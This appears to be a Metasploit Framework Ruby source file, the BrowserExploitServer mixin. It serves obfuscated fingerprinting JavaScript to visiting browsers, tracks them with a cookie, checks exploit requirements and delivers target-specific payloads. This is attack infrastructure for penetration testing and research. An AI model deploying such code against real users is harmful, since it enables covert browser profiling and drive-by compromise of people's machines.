lib/msf/core/exploit/remote/browser_exploit_server.rb
# -*- coding: binary -*-
require 'erb'
require 'cgi'
require 'date'
require 'set'
require 'rex/exploitation/js'
###
#
# The BrowserExploitServer mixin provides methods to do common tasks seen in modern browser
# exploitation, and is designed to work against common setups such as on Windows, OSX, and Linux.
# Note that this mixin is designed to be compatible with both Exploit and Auxiliary modules.
# Wiki documentations about this mixin can be found here:
# https://docs.metasploit.com/docs/development/developing-modules/libraries/http/how-to-write-a-browser-exploit-using-browserexploitserver.html
# https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-http-communication.html
#
###
module Msf
module Exploit::Remote::BrowserExploitServer
class BESException < RuntimeError; end
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::JSObfu
include Msf::Exploit::Remote::BrowserProfileManager
include Msf::Module::UI::Line::Verbose
include Msf::Module::UI::Message::Verbose
# this must be static between runs, otherwise the older cookies will be ignored
DEFAULT_COOKIE_NAME = '__ua'
PROXY_REQUEST_HEADER_SET = Set.new(%w{
CLIENT_IP
FORWARDED
FORWARDED_FOR
FORWARDED_FOR_IP
HTTP_CLIENT_IP
HTTP_FORWARDED
HTTP_FORWARDED_FOR
HTTP_FORWARDED_FOR_IP
HTTP_PROXY_CONNECTION
HTTP_VIA
HTTP_X_FORWARDED
HTTP_X_FORWARDED_FOR
VIA
X_FORWARDED
X_FORWARDED_FOR
})
# Requirements a browser module can define in either BrowserRequirements or in targets
REQUIREMENT_KEY_SET = Set.new([
'source', # Return either 'script' or 'headers'
'ua_name', # Example: Returns 'MSIE'
'ua_ver', # Example: Returns '8.0', '9.0'
'os_name', # Example: Returns 'Windows 7', 'Linux'
'os_device', # Example: Returns 'iPad', 'iPhone', etc
'os_vendor', # Example: Returns 'Microsoft', 'Ubuntu', 'Apple', etc
'os_sp', # Example: Returns 'SP2'
'language', # Example: Returns 'en-us'
'arch', # Example: Returns 'x86'
'proxy', # Returns 'true' or 'false'
'silverlight', # Returns 'true' or 'false'
'office', # Example: Returns "2007", "2010"
'java', # Example: Return '1.6', or maybe '1.6.0.0' (depends)
'mshtml_build', # mshtml build. Example: Returns "65535"
'flash', # Example: Returns "12.0" (chrome/ff) or "12.0.0.77" (IE)
'vuln_test', # Example: "if(window.MyComponentIsInstalled)return true;",
# :activex is a special case.
# When you set this requirement in your module, this is how it should be:
# [:clsid=>'String', :method=>'String']
# Where each Hash is a test case
# But when BES receives this information, the JavaScript will return this format:
# "CLSID=>Method=>Boolean;"
# Also see: #has_bad_activex?
'activex'
])
def initialize(info={})
super
# The mixin keeps 'target' handy so module doesn't lose it.
@target = self.respond_to?(:target) ? target : nil
# Requirements are conditions that the browser must have in order to be exploited.
@requirements = extract_requirements(self.module_info['BrowserRequirements'] || {})
@info_receiver_page = Rex::Text.rand_text_alpha(5)
@exploit_receiver_page = Rex::Text.rand_text_alpha(6)
@noscript_receiver_page = Rex::Text.rand_text_alpha(7)
@flash_swf = "#{Rex::Text.rand_text_alpha(9)}.swf"
register_options(
[
OptBool.new('Retries', [false, "Allow the browser to retry the module", true])
], Exploit::Remote::BrowserExploitServer)
register_advanced_options([
OptString.new('CookieName', [false, "The name of the tracking cookie", DEFAULT_COOKIE_NAME]),
OptString.new('CookieExpiration', [false, "Cookie expiration in years (blank=expire on exit)"]),
OptString.new('Custom404', [false, "An external custom 404 URL (Example: http://example.com/404.html)"])
], Exploit::Remote::BrowserExploitServer)
end
def setup
custom_404 = get_custom_404_url
if !custom_404.blank? && custom_404 !~ /^http/i
raise Msf::OptionValidateError.new(
{
'Custom404' => 'must begin with http or https'
}
)
end
super
end
# Returns a prefix that's unique to this browser exploit module.
# This overrides the #browser_profile_prefix method from Msf::Exploit::Remote::BrowserProfileManager.
# There are two way for BES to get this prefix, either:
# * It comes from a datastore option. It allows BrowserAutoPwn to share the unique prefix with
# its child exploits, so that these exploits don't have to gather browser information again.
# * If the datastore option isn't set, then we assume the user is firing the exploit as a
# standalone so we make something more unique, so that if there are two instances using the
# same exploit, they don't actually share info.
def browser_profile_prefix
self.datastore['BrowserProfilePrefix'] || @unique_prefix ||= lambda {
"#{self.shortname}.#{Time.now.to_i}.#{self.uuid}"
}.call
end
# Cleans up target information owned by the current module.
def cleanup
super
# Whoever registered BrowserProfilePrefix should do the cleanup
clear_browser_profiles unless self.datastore['BrowserProfilePrefix']
end
# Returns the custom 404 URL set by the user
#
# @return [String]
def get_custom_404_url
datastore['Custom404'].to_s
end
# Returns the resource (URI) to the module to allow access to on_request_exploit
#
# @return [String] URI to the exploit page
def get_module_resource
"#{get_resource.to_s.chomp("/")}/#{@exploit_receiver_page}/"
end
# Returns the absolute URL to the module's resource that points to on_request_exploit
#
# @return [String] absolute URI to the exploit page
def get_module_uri
"#{get_uri.chomp("/")}/#{@exploit_receiver_page}"
end
# Returns the current target
def get_target
@target
end
# Returns a hash of recognizable requirements
#
# @param reqs [Hash] A hash that contains data for the requirements
# @return [Hash] A hash of requirements
def extract_requirements(reqs)
tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_s)}
# Make sure keys are always symbols
Hash[tmp.map{|(k,v)| [k.to_sym,v]}]
end
# Sets the target automatically based on what requirements are met.
# If there's a possible matching target, it will also merge the requirements.
# You can use the get_target() method to retrieve the most current target.
#
# @param profile [Hash] The profile to check
def try_set_target(profile)
return unless self.respond_to?(:targets)
match_counts = []
target_requirements = {}
targets.each do |t|
target_requirements = extract_requirements(t.opts)
if target_requirements.blank?
match_counts << 0
else
match_counts << target_requirements.select { |k,v|
if v.is_a? Regexp
profile[k] =~ v
else
profile[k] == v
end
}.length
end
end
if match_counts.max.to_i > 0
@target = targets[match_counts.index(match_counts.max)]
target_requirements = extract_requirements(@target.opts)
unless target_requirements.blank?
@requirements = @requirements.merge(target_requirements)
end
end
end
# Returns true if there's a bad ActiveX, otherwise false.
# @param ax [String] The raw activex the JavaScript detection will return in this format:
# "CLSID=>Method=>Boolean;"
# @return [Boolean] True if there's a bad ActiveX, otherwise false
def has_bad_activex?(ax)
ax.to_s.split(';').each do |a|
bool = a.split('=>')[2]
if bool == 'false'
return true
end
end
false
end
# Returns an array of items that do not meet the requirements
#
# @param profile [Hash] The profile to check
# @return [Array] An array of requirements not met
def get_bad_requirements(profile)
bad_reqs = []
@requirements.each do |rk, v|
k = rk.to_sym
expected = k != :vuln_test ? v : 'true'
vprint_status("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k]}")
if k == :activex
bad_reqs << k if has_bad_activex?(profile[k])
elsif k == :vuln_test
bad_reqs << k unless profile[k].to_s == 'true'
elsif v.is_a? Regexp
bad_reqs << k if profile[k] !~ v
elsif v.is_a? Proc
bad_reqs << k unless v.call(profile[k])
else
bad_reqs << k if profile[k] != v
end
end
bad_reqs
end
# Retrieves a tag.
# First it obtains the tag from the browser's "Cookie" header.
# If the header is empty (possible if the browser has cookies disabled),
# then it will return a tag based on IP + the user-agent.
#
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
def retrieve_tag(cli, request)
cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s)
tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first
if tag.blank?
# Browser probably doesn't allow cookies, plan B :-/
vprint_status("No cookie received for #{cli.peerhost}, resorting to headers hash.")
ip = cli.peerhost
os = request.headers['User-Agent']
tag = Rex::Text.md5("#{ip}#{os}")
else
vprint_status("Received cookie '#{tag}' from #{cli.peerhost}")
end
tag
end
# Registers target information to @target_profiles
#
# @param source [Symbol] Either :script, or :headers
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
def process_browser_info(source, cli, request)
tag = retrieve_tag(cli, request)
browser_profile[tag] ||= {}
profile = browser_profile[tag]
profile[:source] = source.to_s
found_ua_name = ''
found_ua_ver = ''
# Gathering target info from the detection stage
case source
when :script
# Gathers target data from a POST request
parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '')
vprint_status("Received sniffed browser data over POST from #{cli.peerhost}")
vprint_line("#{parsed_body}.")
parsed_body.each { |k, v| profile[k.to_sym] = (v.first == 'null' ? nil : v.first) }
found_ua_name = parsed_body['ua_name']
found_ua_ver = parsed_body['ua_ver']
when :headers
# Gathers target data from headers
# This may be less accurate, and most likely less info.
fp = fingerprint_user_agent(request.headers['User-Agent'])
# Module has all the info it needs, ua_string is kind of pointless.
# Kill this to save space.
fp.delete(:ua_string)
fp.each do |k, v|
profile[k.to_sym] = v
end
found_ua_name = fp[:ua_name]
found_ua_ver = fp[:ua_ver]
end
# Other detections
profile[:proxy] = has_proxy?(request)
profile[:language] = request.headers['Accept-Language'] || ''
# Basic tracking
profile[:address] = cli.peerhost
profile[:module] = self.fullname
profile[:created_at] = Time.now
report_client({
:host => cli.peerhost,
:ua_string => request.headers['User-Agent'].to_s,
:ua_name => found_ua_name.to_s,
:ua_ver => found_ua_ver.to_s
})
end
# Checks if the target is running a proxy
#
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @return [Boolean] True if found, otherwise false
def has_proxy?(request)
proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys
!proxy_header_set.empty?
end
# Returns the code for client-side detection
#
# @param user_agent [String] The user-agent of the browser
# @return [String] Returns the HTML for detection
def get_detection_html(user_agent)
ua_info = fingerprint_user_agent(user_agent)
os = ua_info[:os_name]
client = ua_info[:ua_name]
code = ERB.new(%Q|
<%= js_base64 %>
<%= js_os_detect %>
<%= js_ajax_post %>
<%= js_misc_addons_detect %>
<%= js_ie_addons_detect if os.match(OperatingSystems::Match::WINDOWS) and client == HttpClients::IE %>
function objToQuery(obj) {
var q = [];
for (var key in obj) {
q.push(encodeURIComponent(key) + '=' + encodeURIComponent(obj[key]));
}
return Base64.encode(q.join('&'));
}
function isEmpty(str) {
return (!str \|\| 0 === str.length);
}
function sendInfo(info) {
var query = objToQuery(info);
postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query, function(){
window.location="<%= get_module_resource %>";
});
}
var flashVersion = "";
var doInterval = true;
var maxTimeout = null;
var intervalTimeout = null;
function setFlashVersion(ver) {
flashVersion = ver
if (maxTimeout != null) {
clearTimeout(maxTimeout);
maxTimeout = null
}
doInterval = false
return;
}
function createFlashObject(src, attributes, parameters) {
var i, html, div, obj, attr = attributes \|\| {}, param = parameters \|\| {};
attr.type = 'application/x-shockwave-flash';
if (window.ActiveXObject) {
attr.classid = 'clsid:d27cdb6e-ae6d-11cf-96b8-444553540000';
param.movie = src;
} else {
attr.data = src;
}
html = '<object';
for (i in attr) {
html += ' ' + i + '="' + attr[i] + '"';
}
html += '>';
for (i in param) {
html += '<param name="' + i + '" value="' + param[i] + '" />';
}
html += '</object>';
div = document.createElement('div');
div.innerHTML = html;
obj = div.firstChild;
div.removeChild(obj);
return obj;
}
window.onload = function() {
var osInfo = os_detect.getVersion();
var d = {
"os_vendor" : osInfo.os_vendor,
"os_device" : osInfo.os_device,
"ua_name" : osInfo.ua_name,
"ua_ver" : osInfo.ua_version,
"arch" : osInfo.arch,
"java" : misc_addons_detect.getJavaVersion(),
"silverlight" : misc_addons_detect.hasSilverlight(),
"flash" : misc_addons_detect.getFlashVersion(),
"vuln_test" : <%= js_vuln_test %>,
"os_name" : osInfo.os_name
};
<% if os.match(OperatingSystems::Match::WINDOWS) and client == HttpClients::IE %>
d['office'] = ie_addons_detect.getMsOfficeVersion();
d['mshtml_build'] = ScriptEngineBuildVersion().toString();
<%
activex = @requirements[:activex]
if activex
activex.each do \|a\|
clsid = a[:clsid]
method = a[:method]
%>
var ax = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
d['activex'] = "";
if (ax == true) {
d['activex'] += "<%=clsid%>=><%=method%>=>true;";
} else {
d['activex'] += "<%=clsid%>=><%=method%>=>false;";
}
<% end %>
<% end %>
<% end %>
if (d["flash"] != null && (d["flash"].match(/[\\d]+.[\\d]+.[\\d]+.[\\d]+/)) == null) {
var flashObject = createFlashObject('<%=get_resource.chomp("/")%>/<%=@flash_swf%>', {width: 1, height: 1}, {allowScriptAccess: 'always', Play: 'True'});
// After 5s stop waiting and use the version retrieved with JS if there isn't anything
maxTimeout = setTimeout(function() {
if (intervalTimeout != null) {
doInterval = false
clearInterval(intervalTimeout)
}
if (!isEmpty(flashVersion)) {
d["flash"] = flashVersion
}
sendInfo(d);
}, 5000);
// Check if there is a new flash version every 100ms
intervalTimeout = setInterval(function() {
if (!doInterval) {
clearInterval(intervalTimeout);
if (!isEmpty(flashVersion)) {
d["flash"] = flashVersion
}
sendInfo(d);
}
}, 100);
document.body.appendChild(flashObject)
} else {
sendInfo(d)
}
}
|).result(binding())
js = ::Rex::Exploitation::JSObfu.new code
js.obfuscate
%Q|
<script>
#{js}
</script>
<noscript>
<img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/">
<meta http-equiv="refresh" content="1; url=#{get_module_resource}">
</noscript>
|
end
# @return [String] Name of the tracking cookie
def cookie_name
datastore['CookieName'] || DEFAULT_COOKIE_NAME
end
# @return [String] HTTP header string for the tracking cookie
def cookie_header(tag)
cookie = "#{cookie_name}=#{tag};"
if datastore['CookieExpiration'].present?
expires_date = (DateTime.now + 365*datastore['CookieExpiration'].to_i)
expires_str = expires_date.to_time.strftime("%a, %d %b %Y 12:00:00 GMT")
cookie << " Expires=#{expires_str};"
end
cookie
end
def load_swf_detection
path = ::File.join(Msf::Config.data_directory, 'flash_detector', 'flashdetector.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
# Handles exploit stages.
#
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
def on_request_uri(cli, request)
case request.uri
when '/', get_resource.chomp("/")
#
# This is the information gathering stage
#
if browser_profile[retrieve_tag(cli, request)]
send_redirect(cli, get_module_resource)
return
end
print_status("Gathering target information for #{cli.peerhost}")
tag = Rex::Text.rand_text_alpha(rand(20) + 5)
ua = request.headers['User-Agent'] || ''
print_status("Sending HTML response to #{cli.peerhost}")
html = get_detection_html(ua)
send_response(cli, html, {'Set-Cookie' => cookie_header(tag)})
when /#{@flash_swf}/
vprint_status("Sending SWF used for Flash detection to #{cli.peerhost}")
swf = load_swf_detection
send_response(cli, swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
when /#{@info_receiver_page}/
#
# The detection code will hit this if Javascript is enabled
#
vprint_status "Info receiver page called from #{cli.peerhost}"
process_browser_info(:script, cli, request)
send_response(cli, '', {'Set-Cookie' => cookie_header(tag)})
when /#{@noscript_receiver_page}/
#
# The detection code will hit this instead of Javascript is disabled
# Should only be triggered by the img src in <noscript>
#
process_browser_info(:headers, cli, request)
send_not_found(cli)
when /#{@exploit_receiver_page}/
#
# This sends the actual exploit. A module should define its own
# on_request_exploit() to get the target information
#
tag = retrieve_tag(cli, request)
vprint_status("Serving exploit to user #{cli.peerhost} with tag #{tag}")
profile = browser_profile[tag]
if profile.nil?
print_status("Browser visiting directly to the exploit URL is forbidden.")
send_not_found(cli)
elsif profile[:tried] && !datastore['Retries']
print_status("Target #{cli.peerhost} with tag \"#{tag}\" wants to retry the module, not allowed.")
send_not_found(cli)
else
profile[:tried] = true
vprint_status("Setting target \"#{tag}\" to :tried.")
try_set_target(profile)
bad_reqs = get_bad_requirements(profile)
if bad_reqs.empty?
browser_info = profile.dup
begin
method(:on_request_exploit).call(cli, request, browser_info)
rescue BESException => e
elog('BESException', error: e)
send_not_found(cli)
print_error("BESException: #{e.message}")
end
else
print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}. For more info: http://r-7.co/PVbcgx")
if bad_reqs.include?(:vuln_test)
error_string = (self.module_info['BrowserRequirements'] || {})[:vuln_test_error]
if error_string.present?
print_warning(error_string)
end
end
send_not_found(cli)
end
end
else
print_error("Target #{cli.peerhost} has requested an unknown path: #{request.uri}")
send_not_found(cli)
end
end
# Overriding method. The module should override this.
#
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @param browser_info [Hash] The target profile
def on_request_exploit(cli, request, browser_info)
raise NoMethodError, "Module must define its own on_request_exploit method"
end
# Converts an ERB-based exploit template into HTML, and sends to client
#
# @param cli [Socket] Socket for the browser
# @param template [String] The ERB template. If you want to pass the binding object,
# then this is handled as an Array, with the first element
# being the HTML, and the second element is the binding object.
# @param headers [Hash] The custom HTTP headers to include in the response
def send_exploit_html(cli, template, headers={})
html = ''
if template.class == Array
html = ERB.new(template[0]).result(template[1])
else
html = ERB.new(template).result
end
send_response(cli, html, headers)
end
# Generates a target-specific payload, should be called by the module
#
# @param cli [Socket] Socket for the browser
# @param browser_info [Hash] The target profile
# @return [String] The payload
def get_payload(cli, browser_info)
arch = browser_info[:arch]
platform = browser_info[:os_name]
# Fix names for consistency so our API can find the right one
# Originally defined in lib/msf/core/constants.rb
platform = platform.gsub(/^Mac OS X$/, 'OSX')
platform = platform.gsub(/^Windows.*$/, 'Windows')
p = regenerate_payload(cli, platform, arch)
target_arch = get_target.arch || arch
unless p.arch.all? { |e| target_arch.include?(e) }
err = "The payload arch (#{p.arch * ", "}) is incompatible with the target (#{target_arch * "\n"}). "
err << "Please check your payload setting."
raise BESException, err
end
return p.encoded
end
# @return [String] custom Javascript to check if a vulnerability is present
def js_vuln_test
all_reqs = self.module_info['BrowserRequirements'] || {}
if all_reqs[:vuln_test].present?
code = all_reqs[:vuln_test] + ';return !!this.is_vuln;'
'Function(('+JSON.generate(:code => code)+').code)()'
else
'true'
end
end
private
# Sends a 404 response. If a custom 404 is configured, then it will redirect to that instead.
def send_not_found(cli)
custom_404_url = get_custom_404_url
if custom_404_url.blank?
super(cli)
else
send_redirect(cli, custom_404_url)
end
end
end
end